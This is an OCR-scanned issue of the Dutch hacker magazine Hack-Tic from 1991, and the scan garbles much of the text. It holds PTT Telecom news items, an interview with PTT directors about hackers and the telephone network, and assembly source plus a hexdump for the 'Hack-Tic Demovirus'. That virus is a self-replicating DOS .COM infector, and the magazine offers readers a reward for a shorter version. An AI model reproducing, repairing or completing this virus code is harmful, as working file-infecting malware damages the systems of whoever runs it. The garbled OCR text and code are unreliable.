
Wie hetzelfde met minder meent te 
kunnen doen, krijgt cen overheerlijke 
Hack-Tic appeltaart als beloning (al- 
leen de beste inzending, natwurlijk). 

-- V.I, Ulianov 

P.S. Aan de virus-onderzockers: dit 
virus heet het Hack-Tic Demovirus, en 
dient dus niet als het ’109-virus’ of onder 

andere namea in de officicle virus lijsten 
te worden opgenomen. 

SS 

  

Hack-Tic heeft 
een faxmasjien! 

De tijd dat je lelijk in je maag zat 
met defensicgchcimen is voorbij: fax 
maar naar Hack-Tic! Wij hebben een 
leuk Taiwanecs faxmasjientje op de 
kop getikt en we hebben het hangen 
op telefoonoummer 020-6900968. 

Je artikelen voor Hack-Tic hoef je 
niet meer te modemen (zodat 7e gelijk 
van jouw disk op de onze komen), je 
kunt ze nu uitprinten en faxen, zodat 
vwijze weer helemaal inmoeten tikken. 
Je moet als hi-tech tijdschrift nu een- 
maal met je tijd meegaan nictwaar?     

Eneen 
Voice-Mail Systeem 

Ook hebben we de band weten te 
legen op een voice-mail kaart voor 
een PC. Gecombineerd met een XT- 
tie met 20 MB harddisk maakt dat een 
systeem dat zelfstandig informatic kan 
geven over Hack-Tic. Je kunt er ook 
ptiveberichten op inspreken voor de 
Hack-Tic medewerkers, Dit alles is te 
besturen met de toontjes die geprodu- 
ceerd worden door DTMF-telcfoons 
en toonkiezers. Als je nog een puls- 
telefoon hebt kun je het systeem nog 
altijd gewoon als antwoordapparaat 
gebruiken. Bel 620-6001480.       
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start: 

retry: 

find: 

segment 
org 100h 
assume ca:tic, de:tic, es:tic 

equ 

mov 
push 

ge
e 

push 
Pop 

int 
mov: 

ie 
mov 
mov 
int 
xchg 
push 
Pop 
mov 
mov 
int 
add 
cmp 

offset last-100h 

si,100h 
ai 
ax,ce 
ah, 10h 
es,ax 
didi 
ex,len 
movsb 
ax, 0fe00h 
ah, lah 
21h 
éx,offset file 

ab, 4eh 
short find 
ah, 3eh 
21h 

ah, 4£b 
cs 
ds 

21b 
ex, 0feleh 

nofile 
ax, cx 
ax, 3d02h 
21h 

ax, bx 
es 
as 
ax, di 
ab, 3th 
2ih 

ax, len 

  

ENGTH OF VIRUS CODE 

}COPY VIRUS CODE 
}SAVE FOR EXIT 

7GO UP A SEGMENT 

;LENGTH OF VIRUS 
MOVE VIRUS CODE UP 
7DTA AT END OF SEGMENT 

  

7FIND FIRST .cOM FILE 

7CLOSE HANDLE 

;FIND NEXT 

}RESTORE DS TO CURRENT 
7SEGMENT 
;FIND FILE 
;MULTI-PURPOSE HIGH VALUE 
FIN CX 
;NO (MORE) FILES 
}FILE NAME IN DTA 
7OPEN FILE 

71-BYTE MOVE OF AXBX 
:POINT DS TO NEXT SEGMENT 

7END OF VIRUS CODE 
FREAD FILE DATA (CX=FE1E) 
READ PILE APTER VIRUS 
}LENGTH OF VIRUS+FILE 

byte ptr [dij,0beh ;CHK IF ALREADY INFECTED 
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je retry #TRY AGAIN 

  

push ax 
xXOr CX, CX 

mov ax,4200h RESET FILE POINTER 

cewd 7 DX=0 

int 2th 

pop cx 
mov ah, 40h }WRITE INFECTED CODE BACK 
int 21h 

jmp short retry ;LOOK FOR MORE 

nofile:push ca RESTORE ES 
pop es 
mov bl, Ofch ;MOVE PROGRAM UP AND RUN 
mov [bx] , Gaaach ;LODSB/STOSB INSTRUCTIONS 
mov [bx+2], Ofce2h LOOP TO ADDRESS INSTR. 
pop di 7=100 HEX (SI=PROGRAM CODE) 
push bx RETURN TO FC BEX 
ret ;MOVE CODE AND RUN PROGRAM 

file ab '* COM, 0 SEARCH FOR .COM FILES 

last db 0c3h STANDALONE VIRUS CODE 

;JUST RETURNS 
tic ends 

end start 

I Hexdump van het Hack-Tic DemoVirus. 1 

IT 2 01 00 56 8c c8 80 c4 10 BE CO 33 FF B9 00 68 I 
F3 Ad BA FE 00 B4 1A CD 21 BA 01 62 B4 4E EB 06 

[24 3 co 21 Ba 4F OF IF cp 21 BO FE 1E 72 28 8B I 
D1 B8 3D 02 cD 21 93 06 IF 8B D7 B4 3F CD 21 0S 
00 68 80 3D BE 74 D9 50 33 C9 BB 42 00 99 cD 21 
59 B4 40 CD 21 EB C9 OE 07 B3 FC C7 07 AA AC C7 
47 02 FC E2 SF 53 C3 2A 2E 43 4F 4D 00 c3 
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Hac 

Sabotage 
Na cen golf van aanslagen 

gaat PTT Telecom schakel- 
asten beschermen tegea sabo- 
tage. Inbtekers soaakten de 

kkasten onklaar om op deze ma 
sir sti-alarm systemen uit te 
schakelen en hon slag te siaan. 
De beveiliging bestaat ooder 
andere uit cen stalen kooi en 
betonnen versterking. Verder 
moeten de kasten woortsan geo- 
pend worden met de TOBIAS- 
identiteitskaart die iedere 
PTT-er heeft ledere handeting 
an de kast wordt in de centrale 
‘geregistreerd. 

  

Schaketfoutje 
Justtie heeft mocilikheden 

met het aftappea van doorge- 
‘schakelde telefoons (*21). Over 
cen oplossing vindt overleg 
plaats met PTT Telecom. 

Cel populair 

In Anna-Paulowna (N-H) 
kwamen mensen uit het hele 
land bellen ia cen aantal ‘ont- 
aarde’ cellen, PIT Telecom 

wilde geen commentaar over de 
sgeleden’schade’. Ookin Culem- 
borg grote rijen die omwonen- 
den de politie deden belien. 

Plak Je rik 
De Postbank maakte be- 

end dat de Giromaten niet ge- 
voelig zja voor de ‘Plakband- 
true’. Onlangs stonden in Am- 
sterdam drie jongens terecht 

‘Redaktie: Sosef Virek     

  

=Tic Light 
‘wegens het dicbtplakken de 
geldiade van geldsatomatea. Ze 
‘wachtten tot remand geld warn 
halen. Omdat de geldlade dan 
niet openging dacht de klant aan 
storing en verdween. Dasrop 
sloegen de jongens dan hunslag, 

Cel indiskreet 

De potitie tapt openbare 
{elefooncelten af. Volgens ver- 
Maringen van advocaten en off- 
Gieren van justitic gebeart dit 
alleen in gevallen van zware 
criminaliteit. Advocamt Stein 
heeft aangettondigd zich, in ver- 
bband met dit flusteren van ge~ 
sprekken en de privacy-scben- 
dingen dic dit teweog brengt, te 
wenden tot de Tweede-Kamer 
commissie van Justiie. 

Telegids 
PIT Telecom maaktbekend 

dat het voortaan niet meer 
‘mogelijk is in Telegids, de elec- 

tronische 008, te zoeken op tele- 
foonnummer. Het is echter n0g 
steeds mogelijk het telefoon- 
bock in digitale vor te kopea 
bij PIT Telecom en daar een 
‘oekprogramma op los te laten. 
Hackers hebben trouwens 00g 
maanden van de afgestoten 
functie gebruik gemaakt: bet 
‘was een viditebachtig systeem 
en de verwifring naar de pagina 

was weg maar de pagina zelf be- 
stond nog. Telegids is heseik- 
baar via. nammer 06-7400, 
zoeken op asam enfof adres is 
nog mogeljk. 375 cent per 
minut. 
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Telewerken 

Het zevende SURFoongres 
staat dit jaar in bet tcken van 
‘telewerken'. Het vindt plaats 
op 4 november in bet RAI Con- 
gesceotrum in Anuterdam. 
‘Voor intichtiogen: _Stichtiog 
SURR, telefon 030-311234 

GreenPoint 

PLT ‘Tekecom —introdu- 
ceerde op de Efficiency Beurs 

nicune draadloze telecot- 
monicatiedicast. Dit zoge- 
maamde Greenpoint system 
bicdt nieuwe mogetijkheden tot 
<draadioos communicerea. Met 
it systoema kan via zogenaamde 
‘inbelpunten’ gebeld worden. 
De handsets zijo, volgens PTT 
‘Telecom, door midéel van cea 
pincode beschermd tegen on- 
geoorloofd gebruik. De draag- 
are handsets. worden in fe- 
bbruari 1992 onderde naam Ker- 
‘mit op de markt gebracht en 
saan ongeveer £500,- kosten. 
Gebeld worden op deze tele- 
fons is niet mogelijk, maar een 
ingebouwde semafoon zorgt 
voor bereikbaarheid (yuck! 
red.) 

  

Monopolie 
De NS overwegen op den 

duurban infrastructour open te 
stellen voor spraak- cn dataver- 
keervan derden, zo melden wij 
in bet vorige nummer. Ook de 
AMRO-bank onderzoekt de 
oogelithedd de overcapaciteit 
cop het eigen datanetwerk aan
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derden san te bieden. De PTT 
houdt voortopig het monopolie, 
maar Foropees comeissaris 
Brittan beefl gedreigd een pro- 
cedure bij het Europese hof te 
starten als de telecommunicatie 
niet geheel word! vrijgegeven. 

Uniek in Nederfand 

Onder die kop levert PIT 
“Telecom voor f4995,- cen 70ge- 
naamde disk-fax. Men drukke 

aan de ene tant van de bijn een 
diskette in dit apparaat cn aan 

de andere kant rolt het er weer 
tit. Klinkt verdacht als een XT- 
moederbordje, een modem en 
twee Roppy-drives in cen Jeuk 
“Taiwan-donwje. Leuk bedacht, 
dat wel. Bel 06-0403 voor meet 
informatie. 
  

Noodnet 

PTT Telecom heeft dit jaar 
de eerste 1500aansuitingen van 

hhet Nationaal Noodnet geleide- 
lijk in gebruik gesteld. Het 
vormt cen apart telecommuni- 
ratienetwerk voor berichtge- 
ving van de overheid in tijden 

van crises en rampsituaties. Het 
netwerk vervangt enkele ver- 
ouderde en inmiddels buiten ge- 
broik gestelde voorzieningen, 
waarondet het Beschermd 
‘Noodinet en bet Overheidstele- 
foonnet. 

Oeps 
In Epe zijn twee jongens 

door de politic opgepakt 
swegens hel gratis ellen in tele~ 

fooncellen. Ze hadden 'de tech 
Aische true’ die biervoor nodig 
‘was vit cen tijdschrife (008 truc 
uit nummer 137). Het tweetal 
(Been 19 jaar) belde met vakan- 
tievrienden in Skandinavié, de 
Verenigde Staten en Zwitser- 
land. De PTT heeft aangifte ge- 
dan wegens oplichting. De 
voorlopige "schade™ wordt 
Faamd op 2500 guiden. Als dit 
tweetal even kontakt opnecmt 
krijgen ze cen appeltaart 

  

  

Cryptel 

PIT Telecom heeft con 
aicuwe afdcling dic Cryptel 
beet, Cryptel is gespecialiseerd 
in beveiliging van telecormmuni- 
catic door versieuteting. PTT- 
esearch heeft cen aantal sys- 
temen ontwikkeld voor het be- 
veitigen van voice-, data-en fax- 
verkeer. Maar wat nv als ik mijn 
telecommunicatie no hoofd- 
zakelik tegen de PTT wil be- 
sehermen? 

Niet meer gratis 
Hettestnummer +1415 552 

0046 waarvan we in een vorig 
nummer melding —moakten 
(oweep test tone) is sinds cen 
tijgje niet meet gratis! Bel dit 

‘nummer dus niet meer tenzij je 
de rekening nict hoeft te be- 
talen, 

  

Een virus in uw PC? 

Als je bij PIT Tetecom 
werkt en je hebt een virus in je 
PC (het Hack-Tie Demo Virus 
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bijvoorbeetd) dan kun je je PC- 
bebeerder op laten draven met 
2jn’Virukit’ om de problemen’ 
te vethelpen. Deze bebeerder 
belt dan ook het centrale meid- 
‘pant voor computervirussen bij 
PIT Telecom  (050-852337). 
Mak recente back-ups! 

Bron; Amsterdams Peil, 
personcelsblad district Amster 
dam 

  

Utopia 

Wil je eens weten wat an- 
deren itvreten, initieer dan cen 

datavexbinding. via nummer 
020-627380, met het Utopia 
BBS, 
  

CCC's! 

Op 27, 2 en 29 december 
van dit jaar is er als gebruike- 

lik weer het Chaos Commuri- 
cation Congress. Het vindt (00k 
zoals gebruikelifk plaats in het 
Eidefstactter Buergerhaus. in 
Hamburg, 

Collect via 06-0101 

Via dit nummer kun je nu 
sautomatiseerde —collect-ge- 
sprekien maken. De computer 
lat je maximal 10 seconden 
bericht inspreken en belt dan 
het door jou opgegeven aumn- 
mer. Als de opgehelde kant aa 
het bericht op de nol drokt (of 
<raait) komen de Kosten voor 
het dan volgende gesprek op 
haati2ijn rekening, 
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Hack-Tic interview 

PTT directie over het net en de hackers 

Door Rop Gonggrijp 

Social engineers onder U raad ik af 
‘om te proberen binnen te dringen in het 
kantoorgebouw Stichthage in Dea 
Haag, alwaar een deel van de PTT-di- 
rectie huist. Ik had wellicht een goed 
excuus, ik zou er een uur lang een inter- 

view afnemen met de beren Coolen en 
Dekkers, directieleden van PTT-tele- 
com. 
Uitde hal opgenaald en (met bewaker) op bet 

juiste kantoor-hokje afgeleverd, moet ik ook nog 
naarde WC. De bewaker moest mee. Toegegeven, 

hij hoefde niet verder dan de dewr, maartoch. Het 
terview vond (vreemd genoeg) plaats in cca 

‘ontspannen sfcer. Behalve ir L. Cooten, directeur 
‘operations van het actwerkbedrijf van PTT-tete- 
‘com en ing. R. Dekkers, directeur netwerken van 
de internationale divisie van Telecom was ook B. 
de Vos, persvoorlichter bij de PTT aanwezig, 

RIT: De PIT is (zeker in vergelifking met 
buitenlandse PTTs) tot au toe redelik “hacker- 
vriendelijk*, Als iemand cen fout in het system 
vvindt overheerst vaak het gevoet voor humor en 
et is niet 20 snel de neiging om de politie op 
“telefoonkrakers’ af te sturen. Waarom is dat? 

Cooten: Now dat het anders is dan in het 
buitenland, dat weet ik niet. Maar kijk, onsstand- 
unt is toch niet iets van eh... dijenkletserige aard, 
Het is eon serieuze zaak. Het gebruik van het net 
anders dan waar het voor ontworpen is, is iets 
‘waar je och sericusmee moctomgaan. Wijvinden 
dat bedenkelijk. 

HTT: En op het technische viak? 
Dekkers: Met een krampachtige houding krig, 

je in ieder geval je informatie niet. Je moet daar 
toch een beetje woor openstaan inde in vaneb.. 
"Nou laat maar cens zien wat je hebt." Wij kijken 
met interesse naar dit soort zaken. 

‘Cooken: Het is natuurtijk 20 dat bij het ont- 
wemp van het net specialisten betrokken zijn die 
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ook bezig zijn om dingenzelf te kraken. Zij vragen 
ich af hoe je het net now anders zou kunnen 
gebruiken dan waarvoor het bedoeld is, zodat 2e 
hhet beter kunnen maken. 

HIT: Is er cen afdeling ‘hacking’ bij de PIT? 
Coolen: Het is cen inherent onderdee! van 

protocollen en signalcringrsystemen dic je maakt 
‘om daar toch (ca dat opinternationale scbaal) cen 

20 waterdicht mogelik systeem van te makea. In 
it proces ga je dan als ontwerper ook ceas even 

ann de andere kant zitten om censte kijken of het 
inderdaad waterdicht is, Daamaast hebben wij 
‘oatuurtijk wat speciatisten op beveiligingsgebied 
rondlopen die we konnen inschakelen als dat 
nodigis. 
HT: Tot en met de jaren zeventig was er bin- 

nende PTT cen enorme trots *het net”te kenaen, 
Met de iavoer van alle nicuwe technieken is dat 
min of meer verdwenen. De oude technicus die 
zijn relais kende is vervangen door cen extern 
ingehuurd computerspecialist. Is daarmee een 
stukje nostalgie vertoren, en weet de PTT zelf nog 
wel hoe het net werkt? 

Relikers: Vrocger kon de baas van de centrale. 
‘opz’n gehoor aangeven dat de centrale goed liep. 
Dat gehoorselement ontbreekt. Toch is het mijn 
eigen ervaring dat daarvoor iets voor in de plaats 

komt, waardoor men toch ia staatisom bet cheer 
goed vit te voeren. Ook de nieuwe generatic is 
emthovsiast om weer cen kwaliteitsprodukt te 
leveren. Er ontstaat een nieuwe nostalgic. Het 
begint al bij het onderwijs: menscn die wij nu 
bbinnen krijgen zijn niet mecr cnthousiast te 
kerijgen voor die BM-technieken, dat is ook lo- 
gisch. 
Coolen: Wat betreft het zicht op wat systemen 

doen en wat er in zit: Ontwikkelingen gaan snel, 
moar ook omidat wij vaak aan de wieg staan van 
cicuwe internationale standaards, bouwen wij 

toch cen redetijke hoeveelheid know-how op. We 
zien natuurlik wel dat cr hier cn daar een pro- 
bleemisiin het samenstetlen van de systemen. Het 
isaan de PTs om te zorgen dat calamiteiten niet 
‘optreden en als ze onverhoopt toch optreden dat 
het net voldoende robuust is en dat er alterna- 

    

 



treven zyn oat de dienstvertenmg te waarborgen. 
Daar gaat veel werk inzitten. Flet net moet 20 
betrouwbaar mogelifk zijn. 

Dekkers: We bebbea ook een hele goede re- 
{atie met onze leveranciers, zodat we bij eveatuele 
problemen ook heel snel een beroep op bea kun- 
tnen doen, Problemen zoals U beschrijft zie ik ia 
Nederland niet. Het centralepersonee! kan veel 
problemen oplossen, dan jn er tandelijke teams, 
en als het erg extreem wordt kunnen wij op de 
leveranciers terugvallen. 

HT: Welk percentage van het Nederlandse. 
telefoonnet is nu digitaal? 

Dekkers: Vanaf 1 jan 1995 zijn er geen EM- 
centrales meer (nu minder dan 30%), dic worden 
‘nu vrij snel vervangen. Het gaat hier om zo'n 400 
systemen, Dan hebben we nog 300 computerges- 
tuuede analoge centrales (PRX-A) en 250 volledig 
digitale centrales (SESS, AXE of System-12). 

HTE-Komt er Caller-ID in Nederland? Zo ja, 
verwacht U daar geen grote maatschappelike rel 
over? 

Coolen: U bedoclt dat het oummer van 
degene dic belt avtomatisch wordt getranspor- 
teerd naar de ontvangende kant, Dat is een tech- 
nick die in ontwikkeling is. Of wij dat toe gaan 
passen, standard in ons net, dat is nog even de 
‘vraag, Daarzitten privacy-aspecten aan vast en die 
discussie willen we natuurlijk eerst voeren al- 

vvorens we dit invoeren. 
Dekkers: Je hebt in (cite twee tocpassingen. 

Allereerst tet bekendmaken bij de B-abonnee. 
Daarzitten veel privacy aspecten aan vast waar we 
heel verantwoord mee om moeten gaan. 

Cooten: Eventjes heel feitelijk. U weet, dit is 
alleen mogelijk bij ISDN. ISDN wordt per I de- 
cember commercicel ingevoerd in de 4 grote 
steden. Dan gaal de proef in Rotterdam over in 
een commercicle introduklie. Dat zal overigens 
zijn met de Doitse standard, Pas in 1993 gaan we 
werken met de dan uilontwikkelde ETSI stan- 
dard. Voorafgaande aan de invoering van ISDN 
‘gaan we op 28 november in Rotterdam cen sym- 
posium organiseren met cen aantal maatschappe- 
like groeperingen die zich bekommeren om de 
privacy, Juist omdat ook road het aspect Caller- 
ID en ook rond andere aspecten nog de nodige 
controverses hangen. 

HIT: Op het analoge net geen Calter-ID, zoals 
nu in de VS. 

  

Coolen: Alieen op het digitale deel. Op PRX- 
‘Avbangt het er nogeeo beetje van af: daarmoctea 
toch een aantal technische aanpassingen voor 
komen. 

HT: Met alle digitale techniek die komen gaat 
(2oals ISDN) rijst de vraag of het analoge net nog 
wel cen tockomst heeft. Wie zegt ons dat de 
nicuwe alternatieven voor de consument betaal- 

bbaar zullen zijn? Wanncer verdwijot het analoge 
net? 

Coolen: Zoals de technische ontwikkelingen 
‘nu gaan kopen wij alleen nog maar digitale cen- 
trales en digitale transmissiemiddetea. Dus op 
‘een gegeven moment, als de PRX-A centrale ver- 
sleten is, economisch of technisch, hebben Wij 
alleen nog maar digitale centrales en digitale 
transmissiemiddelen, Of elke Klant dan ook een 
digitaal telefoontoestel moet hebben, dat denk ik 

niet. Ook op bet digitale net (en dat zi je vandaag 
de dag al) kun je analoge aansluitingen hebben. 
Voor wie gewoon simpel wil telefoneren zal er 
altijd cen analoge aansluiting zijn. Als de klant 
straks meer diensten wil, dan wil bij ook vanzelf 
cen ISDN aanstuiting. Het kan ook zijn dat de 

prijs van een digitaal toestel straks 20 lag ligt dat 
‘men om die reden besluit om cen ISDN aanslui- 
tingte nemen. Dat iseen puur marktmechanisme. 
De PTT biedt altijd beide mogetijkheden aan. 

HAT: Het is grappig dat een ISDN aanstuiting 
duurder is dan een gewone telefoonaaasluiting, 
tervnjt het eigealijk (aan de kant van de ceatrale) 

der voorstelt. Het analoge dee! van de con- 
trale is ex tussenuit gebaald en dat is cen ISDN 
aansluiting. 

Cooten: Het prijsverschil zit erin omdat het 
digitale transport naar de klant thuis nog steeds 
erg uur is, Dat heeft ook met de schaatgrootte te 
maken natuurii. Als alles digitaal wordt zal dat 

wel goedkoper worden, maar op dit moments dat 
‘0g erg dur. 

ip 1 december komt er dus ISDN in de 
grote steden. Zijn daarvoor de tarieven al be- 
end? 

De Vos: 85,- per maand, dit is voor de 2B +D 
‘ansluiting, maar over de precieze tarieven sturen 
we U wel even een persbericht. 

HT: In de VS is het de lokale telefooamaat- 
schappijen verboden om ISDN te leveren voor 

meer dan cen normale telefoonaansluiting, 
‘Cooten: De tarieven van ISDN zijn ook verge- 

lijkbaar met de tarieven voor het normale tele- 
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foonverkeer. Men moet bedenken dat én ISDN 
lija twee gewone linen vervangt. 

Ken tijdje tater vall inderdaad bet beloofde 
persbericht over de ISDN tarleven In de bas, 
Herop echter niets over een symposium, alleen. 
dat caller-ID san zal staan, dat bet alleen werkt 

tussen twee ISDN aansteitingen, rasardatiedere 
gebruiker dit kon blokkeren. Verdes is tijdens 

het gesprek over het zo goedkope ISDN necit 
gesproken over aanslaitKosten van $00 galden 
‘voor cen ISDN ja. 

Dekkers: Dan is er een tweede type van Cah 
ler-ID waarbij je je identiteit via bijvoorbeeld 
‘TDK-toontjesaan de andere kant duidelik maakt 
(PIN-codes ete.). Dit soort toepassingzie je steeds 
vaker. Daar staat het net natuurlijk buiten, 

HT: Wordtetke telefooncel een kaarttelefoon, 
of blijven er altijd monttelefoons? 

Coolen: Het beleid is er op gericht een hogere 
telefoonceldichtheid te creeren. Ex zijn mu cuim 
8000 celten. 

De Vos: 8400 om precies te zijn 
Cooten: Find dit jaar zitten we op 10000. En 

we gaan naar22000 in 1995. Ben verdrievoutiging 
‘vanaf april 1990 toen er ruim 7000 waren. Het 
‘overgrote dec! van deze 22000 worden kaartoel- 
den. Er zullen wel altijd muntloestetten blijven. 
Als er ergens een cluster staat zal er 20 vaak 
mogelijk cen munttoestel bij staan. De groei in 
Kaartcetlen zal echter veel groter zijn dande groci 
in muntcellen. 

De Vos: Wij reggen altijd dat de verhouding, 
viteindetik 60/40 zal zijn, 60 kaartcellen op 40 
muattelefoons. 

HIT: Komen er cellen die de TeleCard en an- 
dere magneetkaarten accepteren? 

Coolen: Onder andere op Schiphol staan 
reeds PTT-toestelten die eredit-cards acecpteren, 
die accepteren nu ook TeleCards. Er zijn ook 
plannen om meer cellen neer te zetten die eredit- 

cards ofzelfsalleen de TeleCard accepteren, maar 
daarover is nog geen uitspraak gedaan, dat zit nog 
even in de 

HIT: Hoe kijkt U elf aan tegen Hack-Tic, en 
tegen hackers in het algemeen? 

Dekkers: Het wordt zeker niet beschouwed als 
en spelletje, het is een serieure zaak en het be- 
Arif probeert gewoon om er zo goed aogelijk op 
te reageren. De basis is dat wij cen 70 fraudehe- 
stendig mogedijk net op willen bouwen. Als het 
hackers tukt om allertei ongewenst gebruik van 
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het net te maken proheren wij dat natourtije te 
‘woorkomen. 

HT:3irlijkt cen versehil te zija tussen de ma- 
rier waarop de technic tegen hackers aankijken 
con de wijze waarop managers dat doen. Waarom 
ou dat Zin? 

Cooten: Ik denk dat het een algemeen gevoel 
is bij de PTT dat als iemand het net kan kraken, 

wwe dat dan geen van allen leuk vinden, en dat we 
proberen om er 70 snel mogelijk iets aan te doen, 

Dekkers: Het is onze cer te na. 
HT: Tot hoever konnen hackers bij U gaan? 

‘Wear cindigt het "leuke spefen met het telefoon- 
net’ en doct U aangifte bij de potitie? 

Dekkers: In principe is ook het gratis belten 
voor eigen gebruik natvurtik ongeoorloofd mis- 
bbruik en we mocten dat ook via de juridische kant 
ens goed bekijken. 

Cotes: We bekijken dat van geval tot geval. 
Een ding staat vast: we proberen er alles aan te 
doen om dit soort gebruik onmogelijk te maken. 

HT: Als het onmogelijk zou blijken te 2iin oma 
bepaaide dingen technisch aan te pakken, zou er 
ddan naar juridische middefen worden gegrepen? 
Isercen spanningsveld in de zin van “eerst maar 
proberen.om het techaisch op te tossea, ca als dat 
nict lukt via de juridische weg proberen"? 

Cooten: Het is ons Joel het net zo in te sichten 
dat misbruik niet, ofallecn tegen hele hoge kosten 
voorkomt waardoor het dus nit 
100% bevciliging is nooit mogel 
Kijken we per geval of we er juridisch iets aan 
kuanen doen, 

Dekkers: Vergelijk het met zwartrijden, Er 
zijn veel mensen die het doen, maar toch dien je 
voor de dicnst openbaar vervoer te betalen, 

De Vor: Als je icts juridisch wilt aanpakken 
moet je toch altijd nagnan in hoeverre hel open- 

haar ministerie iets in de zaak zict. 
HET: Hoeveel fraude is er nou precies op het 

{elefoonnet? Fr wordt toch heel wat gefraudeerd 
met telefooncelten, belhuizen ete. Word fraude 

meer of juist minder? 
Coolen: Tk denk dat ik daar geen uitspraak 

over doe. 
De Vos: Ik denk dat alles wat we daar over 

‘eggenalleen maar uitnodigt tot meer speculatie. 
HIT: U geefi ook geen beeld van een meer 

algemene trend? Stijgt het? 
De Vos: Nee, ook daarover willen wij niets 

neggen. 

  

   

  

  

 



HT: Hoe zit dat met bet internationsal tele- 
fonerea, is die sitnatie cader controke of kan nog 
steeds cen ieder gratis bellen? 

Dekkers: Er zijn bepaal’e mastregelen 
genomen. En die situatic is nu onder controle. 

‘WT: Wie betaatt de rekening? 
Coolen: Erzijn daar natuurlijk met de diverse 

administraties afspraken gemaakt, maar bet lijkt 
‘me niet zo opportuun om daar nu uitspraken over 
te doen. 

1HT: Wat voor sort roaatregeten betreft het?” 
Dekkers: Er zijn om dit sort dingen te voor- 

komen aanbevelingen tussen verschillende lan- 
den onderting, ea wij hebbener nogeens wat extra 
aandacht aan besteed om die aanbevelingen na te 
leven, Verder dringen wij daar dus nu ook bij 
andere landen op aan. 

HT: ATF1 was onveilig, toen kwam het 
veilige ATF2 en dat werd ook gekraakt. 
Siods een tijdje belt ook Jan en Alleman 
gratis met ATF3. Wordt ATF4 ook weer 
veilig? 

Coolen: In ATF4 (het digitale GSM 
net) is vanaf het begin de hele beveiliging, 
‘en de identificatieprocedure met name, 
met de meest moderne technicken wange- 
‘paki. Het gaat nu toch om cen onkraakbaar 
systecm, voor zover die inderdaad bestaan, 
Ik denk dat dit cen heel ‘sophisticated? sys- 
teem is. 

BT: Wat doct de PTT als (bijvoorbeeld 
in bet kader van het verdwijnen van de 
Garopese binnengrenzen) het monopolie 
wordt opengebroken? Speelt bij de techai- 
sche bestissingen de gedachte mee dat het 
‘et straks in kleine stukjes op te delen moet 

2ijn? Is dat zowieso in Nederland wel moge- 
ik? 

‘Cootem: Er zijn gebicden waarvoor we 
cen consessie hebben, daar zijo we trots op 
en dear gaan we zuinig mee om. We 
proberen daar 20'n prestatie te Jeveren dat 
Nederland geen behoefte heeft aan ecn 
concurrent. We kijken eens om ons heenea 
‘we proberen iedereen die het ons echt 
cooeitijk zou kunnen maken te verbeteren. 
Daardoor slaan we twee viiegen in | klap: 
Nederland heeft geen behoefte aan een 
tweede conssesionair (monopolichouder, 
HIT), enals Nederland et toch behoefte aan 
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‘heef dan zullen die nog een zware dobber hebben 
aan de PTT. 

HT: En als bet Europese hot zich straks wit- 
spreekt om het interfokeal en intemnationaal ver- 
Keer op te splitsea, 

‘Cooten: Het is niet aan de PTT om daar over 
te beslissen, als de overheid het 2egt richten wij 

‘ons daarosar. Ais dat mocht gebeuren dan zullen 
‘wijons daarnaarschikken. Wij deoken dat dat niet 
zo'n goede zaak is, maar als de politick er anders 
over denkd, bet zij 20. 

HIT: En als via bet autotelefoonnet een abon- 
nee uit land A via ons autotelefoonnet naar land 

B belt, komen daar straks ook aparte taricven 
voor? 

Back-Tic 14-15/1991 

  



  

Cokes: Technisch, in de structuur, kan dit wat 
{U zegt. Om dat toc te staan zijn erallertei admain- 
isteatieve regelingen aodig, en ook contracten 
tussen operators. 

HT: Is ex in Nedertand voorzien dat bij ATF 
meerdere operators naast elkaar steunzenders 
gaan ondertiouden? 
Coolen: Alsik de minister goed begrepen heb, 

‘nogmnaals het is niet aaa ons, bet is aan de over- 
heid, dan deakt 2 hierover en zat 2ij hierover te 
zijner tijd vitspraak doen. Wij gaan ecvan wit dat 
er ecn tweede operator komt in Nederland voor 
ATF4. Nogmuals bet s niet aan ons, van ons hoeft 

het niet, het is aan de minister, en die heeft te 
kennen gegeven dat ze daarop aan het studeren is, 

‘en daar cen uitspraak over gaat doen. 
HTT: Ee zijn au koopnumaress van 50 cent per 

minunt, er kommen straks koopnummers van 75 
cent per minust. In de VSzijn er de°900 nummers’ 
waar je bx. concertkaartjes per telefon kunt 
kopen, en waar de telefooamaatschappij dus ver- 
valt tot cen soort incassobureau. 

Dekkers: Interessante gedachte! 
Cooten: Het is nual 20 dat de PTT de incasso 

-verworgt en dan afdraagt aan de exploitant. 
ITT: Ik docl meer op koopnuramers saarbij 

het horen van een bepaalde mededeling 
langer het doet is, maar waarbij een achtertiggend 
iets wordt gekocht, 

Cooten: Als het om echt grote bedragen gaat 
denken wij toch dat er cen identificatie van de 
_gebruikeraan vast zit inde zin dat het net wellicht 
‘egt welk nummer het is maar dat je dan bijvoor- 
beetd door het intoetsen van een PIN-code vast- 
stelt dat het om de juiste persoon gaat. Maar het 
is de xorg van degene die dit system zou gaan 
exploiteren om te zorgen dat ie weet wie er belt. 
Bij bepaalde diensten moet je ook nu al een abon- 
nement hebben. De nieuwe tarieven (75 ct.) ij 
bedoeld voor mensen die serieuze informatie aan 
te bieden hebben en die zeggen van: “Voor die 
twee kwartjes ken ik het niet doen”. 

HT: Worden sexlijnen van dic nieuwe 
ummers geweerd? 

Coolen: Het is niet san de PTT om acties te 
ondermemen betreftende de inboud van de bood- 

schap. Dat zou ook verkeerd zijn. Het is wel 0 dat 
e hijnen van 75 cent voor amusement minder 
interessant zijn, 

HIT: Ex wordt de laatste tijd nogal wat ge- 
schreven over een betere fysieke beveiliging van 
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het nationale telefoonnet. Wat is precies de ach- 
teriggende flasofie? Wordt elk schakelkastjecen 
vesting? 

‘Cooten: Ik denk dat de stap die wij nu zetten 
cen hele stap vooruit is. Daa zit ook een heel 
system achter. 

HT: Wordt het pessoncel er niet gek van om 
ich bij elk kastje te mocten idenlificeren? 

‘Coolem: Als je als PIT-er begrijpt waarom dit 
is denk ik dat je je er wel aan houdt. Ik denk dat 
thet ook nictz0 levkis als we als PTT in betreleking 
‘met onze schakefkasten met minder keuke dingen 
‘worden geconfronteerd. 

HT: Zoals? 
Cooten: Inbraak, sabotage, aoemt U maar op. 
TIT: Komt dat nov op grote schaal voor? Ik 

herinner me cen paar kranteberichtjes, maar ik 
kan me niet voorstellen dat je daarom een mi- 
joenenproject lanceert. 

Dekkers: Daur wil ik verder geen witspraak 
over doen. Het kan zijn dat we op een bepaald 

moment ogenschijnlijk met een kanon op cen mug 
schicten, maar we mocten eventuele tockomstige 
ontwikkelingen voor hlijven. 

     



Laatste Nieuws 

PTT Telecom sluit 

Auto-Collect af! 

De automatische collect-call service van PTT- 
‘Telecom, waarover meer id de Hack-Tie light van 

dit nummer, is na cen paar dagenin bedrijf te zijn 
